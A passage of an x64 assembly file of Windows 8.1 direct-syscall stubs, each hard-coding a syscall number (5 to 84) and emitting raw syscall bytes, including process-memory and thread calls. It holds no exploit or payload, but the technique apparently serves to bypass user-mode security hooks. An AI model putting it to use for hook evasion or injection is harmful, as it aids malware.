_6_3_9600_sp0_windows_8_1_NtReadFile PROC STDCALL
mov r10 , rcx
mov eax , 5
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadFile ENDP
; ULONG64 __stdcall NtDeviceIoControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtDeviceIoControlFile PROC STDCALL
mov r10 , rcx
mov eax , 6
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeviceIoControlFile ENDP
; ULONG64 __stdcall NtWriteFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtWriteFile PROC STDCALL
mov r10 , rcx
mov eax , 7
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteFile ENDP
; ULONG64 __stdcall NtRemoveIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 8
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletion ENDP
; ULONG64 __stdcall NtReleaseSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtReleaseSemaphore PROC STDCALL
mov r10 , rcx
mov eax , 9
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseSemaphore ENDP
; ULONG64 __stdcall NtReplyWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePort PROC STDCALL
mov r10 , rcx
mov eax , 10
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePort ENDP
; ULONG64 __stdcall NtReplyPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReplyPort PROC STDCALL
mov r10 , rcx
mov eax , 11
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyPort ENDP
; ULONG64 __stdcall NtSetInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationThread PROC STDCALL
mov r10 , rcx
mov eax , 12
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationThread ENDP
; ULONG64 __stdcall NtSetEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetEvent PROC STDCALL
mov r10 , rcx
mov eax , 13
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetEvent ENDP
; ULONG64 __stdcall NtClose( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtClose PROC STDCALL
mov r10 , rcx
mov eax , 14
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtClose ENDP
; ULONG64 __stdcall NtQueryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryObject PROC STDCALL
mov r10 , rcx
mov eax , 15
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryObject ENDP
; ULONG64 __stdcall NtQueryInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 16
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationFile ENDP
; ULONG64 __stdcall NtOpenKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenKey PROC STDCALL
mov r10 , rcx
mov eax , 17
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKey ENDP
; ULONG64 __stdcall NtEnumerateValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtEnumerateValueKey PROC STDCALL
mov r10 , rcx
mov eax , 18
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateValueKey ENDP
; ULONG64 __stdcall NtFindAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtFindAtom PROC STDCALL
mov r10 , rcx
mov eax , 19
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFindAtom ENDP
; ULONG64 __stdcall NtQueryDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryDefaultLocale PROC STDCALL
mov r10 , rcx
mov eax , 20
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDefaultLocale ENDP
; ULONG64 __stdcall NtQueryKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryKey PROC STDCALL
mov r10 , rcx
mov eax , 21
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryKey ENDP
; ULONG64 __stdcall NtQueryValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryValueKey PROC STDCALL
mov r10 , rcx
mov eax , 22
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryValueKey ENDP
; ULONG64 __stdcall NtAllocateVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAllocateVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 23
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateVirtualMemory ENDP
; ULONG64 __stdcall NtQueryInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationProcess PROC STDCALL
mov r10 , rcx
mov eax , 24
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationProcess ENDP
; ULONG64 __stdcall NtWaitForMultipleObjects32( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects32 PROC STDCALL
mov r10 , rcx
mov eax , 25
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects32 ENDP
; ULONG64 __stdcall NtWriteFileGather( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtWriteFileGather PROC STDCALL
mov r10 , rcx
mov eax , 26
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteFileGather ENDP
; ULONG64 __stdcall NtSetInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationProcess PROC STDCALL
mov r10 , rcx
mov eax , 27
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationProcess ENDP
; ULONG64 __stdcall NtCreateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateKey PROC STDCALL
mov r10 , rcx
mov eax , 28
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateKey ENDP
; ULONG64 __stdcall NtFreeVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtFreeVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 29
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreeVirtualMemory ENDP
; ULONG64 __stdcall NtImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtImpersonateClientOfPort PROC STDCALL
mov r10 , rcx
mov eax , 30
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtImpersonateClientOfPort ENDP
; ULONG64 __stdcall NtReleaseMutant( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReleaseMutant PROC STDCALL
mov r10 , rcx
mov eax , 31
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseMutant ENDP
; ULONG64 __stdcall NtQueryInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationToken PROC STDCALL
mov r10 , rcx
mov eax , 32
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationToken ENDP
; ULONG64 __stdcall NtRequestWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtRequestWaitReplyPort PROC STDCALL
mov r10 , rcx
mov eax , 33
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRequestWaitReplyPort ENDP
; ULONG64 __stdcall NtQueryVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 34
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryVirtualMemory ENDP
; ULONG64 __stdcall NtOpenThreadToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenThreadToken PROC STDCALL
mov r10 , rcx
mov eax , 35
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenThreadToken ENDP
; ULONG64 __stdcall NtQueryInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationThread PROC STDCALL
mov r10 , rcx
mov eax , 36
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationThread ENDP
; ULONG64 __stdcall NtOpenProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenProcess PROC STDCALL
mov r10 , rcx
mov eax , 37
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenProcess ENDP
; ULONG64 __stdcall NtSetInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 38
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationFile ENDP
; ULONG64 __stdcall NtMapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtMapViewOfSection PROC STDCALL
mov r10 , rcx
mov eax , 39
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapViewOfSection ENDP
; ULONG64 __stdcall NtAccessCheckAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckAndAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 40
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckAndAuditAlarm ENDP
; ULONG64 __stdcall NtUnmapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSection PROC STDCALL
mov r10 , rcx
mov eax , 41
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSection ENDP
; ULONG64 __stdcall NtReplyWaitReceivePortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePortEx PROC STDCALL
mov r10 , rcx
mov eax , 42
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePortEx ENDP
; ULONG64 __stdcall NtTerminateProcess( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtTerminateProcess PROC STDCALL
mov r10 , rcx
mov eax , 43
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTerminateProcess ENDP
; ULONG64 __stdcall NtSetEventBoostPriority( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetEventBoostPriority PROC STDCALL
mov r10 , rcx
mov eax , 44
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetEventBoostPriority ENDP
; ULONG64 __stdcall NtReadFileScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtReadFileScatter PROC STDCALL
mov r10 , rcx
mov eax , 45
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadFileScatter ENDP
; ULONG64 __stdcall NtOpenThreadTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenThreadTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 46
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenThreadTokenEx ENDP
; ULONG64 __stdcall NtOpenProcessTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenProcessTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 47
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenProcessTokenEx ENDP
; ULONG64 __stdcall NtQueryPerformanceCounter( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryPerformanceCounter PROC STDCALL
mov r10 , rcx
mov eax , 48
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryPerformanceCounter ENDP
; ULONG64 __stdcall NtEnumerateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtEnumerateKey PROC STDCALL
mov r10 , rcx
mov eax , 49
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateKey ENDP
; ULONG64 __stdcall NtOpenFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtOpenFile PROC STDCALL
mov r10 , rcx
mov eax , 50
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenFile ENDP
; ULONG64 __stdcall NtDelayExecution( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDelayExecution PROC STDCALL
mov r10 , rcx
mov eax , 51
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDelayExecution ENDP
; ULONG64 __stdcall NtQueryDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryFile PROC STDCALL
mov r10 , rcx
mov eax , 52
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryFile ENDP
; ULONG64 __stdcall NtQuerySystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformation PROC STDCALL
mov r10 , rcx
mov eax , 53
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformation ENDP
; ULONG64 __stdcall NtOpenSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSection PROC STDCALL
mov r10 , rcx
mov eax , 54
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSection ENDP
; ULONG64 __stdcall NtQueryTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryTimer PROC STDCALL
mov r10 , rcx
mov eax , 55
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryTimer ENDP
; ULONG64 __stdcall NtFsControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtFsControlFile PROC STDCALL
mov r10 , rcx
mov eax , 56
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFsControlFile ENDP
; ULONG64 __stdcall NtWriteVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWriteVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 57
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteVirtualMemory ENDP
; ULONG64 __stdcall NtCloseObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCloseObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 58
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCloseObjectAuditAlarm ENDP
; ULONG64 __stdcall NtDuplicateObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtDuplicateObject PROC STDCALL
mov r10 , rcx
mov eax , 59
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDuplicateObject ENDP
; ULONG64 __stdcall NtQueryAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryAttributesFile PROC STDCALL
mov r10 , rcx
mov eax , 60
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryAttributesFile ENDP
; ULONG64 __stdcall NtClearEvent( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtClearEvent PROC STDCALL
mov r10 , rcx
mov eax , 61
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtClearEvent ENDP
; ULONG64 __stdcall NtReadVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtReadVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 62
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadVirtualMemory ENDP
; ULONG64 __stdcall NtOpenEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenEvent PROC STDCALL
mov r10 , rcx
mov eax , 63
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenEvent ENDP
; ULONG64 __stdcall NtAdjustPrivilegesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAdjustPrivilegesToken PROC STDCALL
mov r10 , rcx
mov eax , 64
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAdjustPrivilegesToken ENDP
; ULONG64 __stdcall NtDuplicateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtDuplicateToken PROC STDCALL
mov r10 , rcx
mov eax , 65
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDuplicateToken ENDP
; ULONG64 __stdcall NtContinue( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtContinue PROC STDCALL
mov r10 , rcx
mov eax , 66
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtContinue ENDP
; ULONG64 __stdcall NtQueryDefaultUILanguage( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtQueryDefaultUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 67
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDefaultUILanguage ENDP
; ULONG64 __stdcall NtQueueApcThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueueApcThread PROC STDCALL
mov r10 , rcx
mov eax , 68
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueueApcThread ENDP
; ULONG64 __stdcall NtYieldExecution( );
_6_3_9600_sp0_windows_8_1_NtYieldExecution PROC STDCALL
mov r10 , rcx
mov eax , 69
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtYieldExecution ENDP
; ULONG64 __stdcall NtAddAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAddAtom PROC STDCALL
mov r10 , rcx
mov eax , 70
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddAtom ENDP
; ULONG64 __stdcall NtCreateEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateEvent PROC STDCALL
mov r10 , rcx
mov eax , 71
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateEvent ENDP
; ULONG64 __stdcall NtQueryVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryVolumeInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 72
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryVolumeInformationFile ENDP
; ULONG64 __stdcall NtCreateSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateSection PROC STDCALL
mov r10 , rcx
mov eax , 73
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateSection ENDP
; ULONG64 __stdcall NtFlushBuffersFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFile PROC STDCALL
mov r10 , rcx
mov eax , 74
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFile ENDP
; ULONG64 __stdcall NtApphelpCacheControl( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtApphelpCacheControl PROC STDCALL
mov r10 , rcx
mov eax , 75
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtApphelpCacheControl ENDP
; ULONG64 __stdcall NtCreateProcessEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtCreateProcessEx PROC STDCALL
mov r10 , rcx
mov eax , 76
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProcessEx ENDP
; ULONG64 __stdcall NtCreateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateThread PROC STDCALL
mov r10 , rcx
mov eax , 77
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateThread ENDP
; ULONG64 __stdcall NtIsProcessInJob( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtIsProcessInJob PROC STDCALL
mov r10 , rcx
mov eax , 78
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtIsProcessInJob ENDP
; ULONG64 __stdcall NtProtectVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtProtectVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 79
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtProtectVirtualMemory ENDP
; ULONG64 __stdcall NtQuerySection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySection PROC STDCALL
mov r10 , rcx
mov eax , 80
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySection ENDP
; ULONG64 __stdcall NtResumeThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtResumeThread PROC STDCALL
mov r10 , rcx
mov eax , 81
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResumeThread ENDP
; ULONG64 __stdcall NtTerminateThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtTerminateThread PROC STDCALL
mov r10 , rcx
mov eax , 82
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTerminateThread ENDP
; ULONG64 __stdcall NtReadRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtReadRequestData PROC STDCALL
mov r10 , rcx
mov eax , 83
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadRequestData ENDP
; ULONG64 __stdcall NtCreateFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtCreateFile PROC STDCALL
mov r10 , rcx
mov eax , 84
;syscall
db 0Fh , 05h
ret
